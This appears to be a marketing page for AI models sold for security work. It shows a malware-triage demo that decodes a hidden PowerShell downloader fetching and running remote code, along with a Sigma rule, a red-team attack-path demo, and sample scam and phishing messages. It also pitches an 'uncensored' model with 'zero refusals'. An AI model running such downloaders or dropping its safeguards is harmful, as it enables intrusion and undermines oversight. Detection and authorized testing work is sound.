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The work other
models decline.

Security research, red teaming and testing your own systems are welcome. What you send and what the models give back belong to you.

Security research

Read the sample.
Write the detection.

Malware analysis, reverse engineering and detection engineering with a model that works on the artifact in front of it.

  • Decode and explain samples stage by stage
  • Walk decompiled code and recover protocols
  • Sigma, YARA and KQL drafts next to the analysis
  • Reproduce known CVEs in an isolated lab

DeepSeek V4.1 Flash: the highest cybersecurity benchmark score of our models

Explore security research
triage · sample_7f3a.ps1deepseek-v4.1
Artifactpowershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkA…
DecodedIEX (New-Object Net.WebClient).DownloadString('hxxp://203.0.113[.]7/a')
BehaviorStage-1 downloader. Hidden window, fetches and runs a second script in memory.
ATT&CKT1059.001T1105T1027
Sigma
detection:
  sel:
    CommandLine|contains|all:
      - ' -enc '
      - ' -w hidden'
  condition: sel
Red teaming

Plan the attack.
Write the report.

For authorized engagements: the model reads scan output, chains findings into attack paths and drafts the report. You decide what gets touched.

  • Rank scan output by what's worth a look
  • Chain findings into paths, ranked by impact
  • Read-only checks you review before they run
  • Test cases for the AI agents you ship

DeepSeek V4.1 Flash for attack paths, GLM 5.3 for the report

Explore red teaming
engagement · staging.example.comin scope
nmap -sV 10.20.0.0/24
10.20.0.11  8080/tcp  open  http   Jetty (Jenkins 2.414)
10.20.0.12  80/tcp    open  http   nginx 1.18  (/.git/ 200)
10.20.0.14  22/tcp    open  ssh    OpenSSH 8.2p1
Attack paths, by impact
1Jenkins :8080, anonymous read → script console → build credentialsHigh
2Exposed .git on staging web → leaked deploy key → SSH as deployHigh
3Outdated OpenSSH on 10.20.0.14 → check against known CVEs, no exploitMedium
deepseek-v4.1-flash · effort maxnext: read-only check for path 1
Trust and safety

Your classifier needs
the bad examples.

Scams, phishing, impersonation and abuse, written and labeled at volume in your schema, so your classifiers learn what to catch.

  • Every category your policy names
  • Near-misses that should not be flagged
  • Labels with a one-line rationale
  • JSON lines, ready for training

GLM 5.3 Flash to generate, DeepSeek V4.1 Flash to label

Explore trust and safety
fraud_abuse.train.jsonl5,000 rows

Hello dear, I came across your profile and felt we share something rare…

romance_scamunsolicited · flattery

Your parcel is held at customs. Pay the €1.99 fee to release it.

smishingfake fee · link

It's your CEO. I need gift cards for a client today, keep it quiet.

impersonationurgency · secrecy

Hey! Saw you like hiking too, any trails you'd recommend near Leeds?

benignnear-miss

Day 3 of 10x returns. DM me READY before the window closes.

investment_spamguaranteed returns
Labelsabuse 64% · near-miss 21% · benign 15%
Coding agents

The agent
keeps going.

Claude Code, Codex and OpenCode that finish the fuzzers, scanners and exploit checks in your backlog instead of stopping to decline.

  • Set up in a minute, keep your hooks and tools
  • Finishes the security-adjacent parts of the job
  • 1M tokens of context for the whole repository
  • Cached input keeps long sessions cheap

DeepSeek V4.1 Flash as the main model

Explore coding agents
claude · ~/src/api3h 12m

> write a fuzzer for the upload parser, run 50k cases, fix what breaks

✓ Read src/upload/parse.ts 412 lines

✓ Write fuzz/upload.fuzz.ts +86

✓ Bash pnpm fuzz upload --runs 50000

2 crashes · boundary overflow in readChunk() · nested multipart depth 64

✓ Edit src/upload/parse.ts +14 −3

Bash pnpm fuzz upload --runs 50000

deepseek-v4.1-flash-1017-uncensored214k ctx · 92% cached · 0 refusals

Keep your stack.
Lose the refusals.

Tell us what you are building. We reply with an invitation, a key and pricing for your volume.

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